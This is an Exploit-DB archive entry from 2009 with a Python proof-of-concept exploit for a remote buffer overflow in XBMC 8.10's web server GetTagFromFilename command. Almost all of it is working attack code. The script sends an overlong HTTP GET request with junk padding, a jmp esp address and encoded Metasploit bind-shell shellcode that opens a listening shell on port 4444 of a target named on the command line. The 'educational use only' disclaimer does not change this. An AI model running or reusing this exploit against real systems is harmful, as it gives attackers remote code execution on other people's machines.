XBMC 8.10 - Get Tag From File Name Remote Buffer Overflow

EDB-ID:

8340

CVE:

N/A

Author:

n00b

Type:

remote

Platform:

Windows

Published:

2009-04-01

#!/usr/bin/env python 
'''
Xbmc get tag from file name request remote buffer overflow 8.10 !!! 
 
Tested:Win xp sp2 eng
Vendor url:http://xbmc.org/ 
 
versions affected: 
Linux windows < tested 
other versions are also possibly affected. 
Release date:April the 1st 2009 

Restrictions:No filtering needed.
This exploit happens when parsing and overly long id3
tag to the web server.Dont think i covered this much
in the poc code as i was running out of time on this
exploit.


We are able to overwrite the exception handlers also so 
creating a reliable exploit for vista and xps3 shouldn't 
be to hard have a look there are some modules loaded with 
out /safe seh. 

Credits to n00b for finding the buffer overflow and writing 
poc code and exploit.

----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!
'''


import sys, socket 
import struct

port = 80 
host = sys.argv[1] 

Start_url ='xbmcCmds/xbmcHttp?command=GetTagFromFilename(C:/'
Junk_buffer = 'A'*1033
Jump_esp = struct.pack('<L',0x77F84143)

Shell_code=(#win32_bind -EXITFUNC=seh LPORT=4444 http://metasploit.com */
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
"\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58"
"\x4e\x36\x46\x32\x46\x32\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x37"
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x58"
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x33\x4b\x58"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x32\x4a\x32\x45\x47\x45\x4e\x4b\x48"
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x48\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x32\x4b\x38"
"\x49\x48\x4e\x36\x46\x32\x4e\x31\x41\x36\x43\x4c\x41\x53\x4b\x4d"
"\x46\x46\x4b\x48\x43\x44\x42\x53\x4b\x38\x42\x34\x4e\x30\x4b\x38"
"\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x34\x4a\x50\x50\x45\x4a\x36"
"\x50\x58\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36"
"\x43\x35\x48\x36\x4a\x46\x43\x33\x44\x53\x4a\x46\x47\x37\x43\x37"
"\x44\x53\x4f\x45\x46\x55\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x33\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x38\x45\x4e"
"\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x30\x45\x45\x4c\x36\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x35"
"\x4f\x4f\x48\x4d\x43\x35\x43\x55\x43\x55\x43\x55\x43\x55\x43\x34"
"\x43\x35\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x56\x4a\x46\x41\x51"
"\x4e\x45\x48\x36\x43\x35\x49\x58\x41\x4e\x45\x59\x4a\x46\x46\x4a"
"\x4c\x51\x42\x47\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x41"
"\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d"
"\x4a\x46\x45\x4e\x49\x44\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
"\x42\x35\x46\x45\x46\x35\x45\x55\x4f\x4f\x42\x4d\x43\x39\x4a\x46"
"\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x45"
"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x56\x48\x56\x4a\x36\x43\x46"
"\x4d\x56\x49\x48\x45\x4e\x4c\x46\x42\x35\x49\x35\x49\x32\x4e\x4c"
"\x49\x48\x47\x4e\x4c\x56\x46\x54\x49\x48\x44\x4e\x41\x53\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x34\x4e\x52"
"\x43\x59\x4d\x48\x4c\x47\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
"\x44\x37\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x54\x4f\x4f"
"\x48\x4d\x4b\x35\x47\x45\x44\x45\x41\x55\x41\x35\x41\x45\x4c\x36"
"\x41\x30\x41\x55\x41\x35\x45\x45\x41\x35\x4f\x4f\x42\x4d\x4a\x56"
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x36"
"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f"
"\x43\x48\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
"\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x45\x43\x35\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a"

)

End_url ='.mp3)'

# create a socket object called 'c' 
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

# connect to the socket 
c.connect((host, port)) 

Request = (Start_url + Junk_buffer + Jump_esp + Shell_code + End_url)

# create a file-like object to read 
fileobj = c.makefile('r', 0) 

# Ask the server for the file 
fileobj.write("GET /"+Request+" HTTP/1.1\n\n") 

# milw0rm.com [2009-04-01]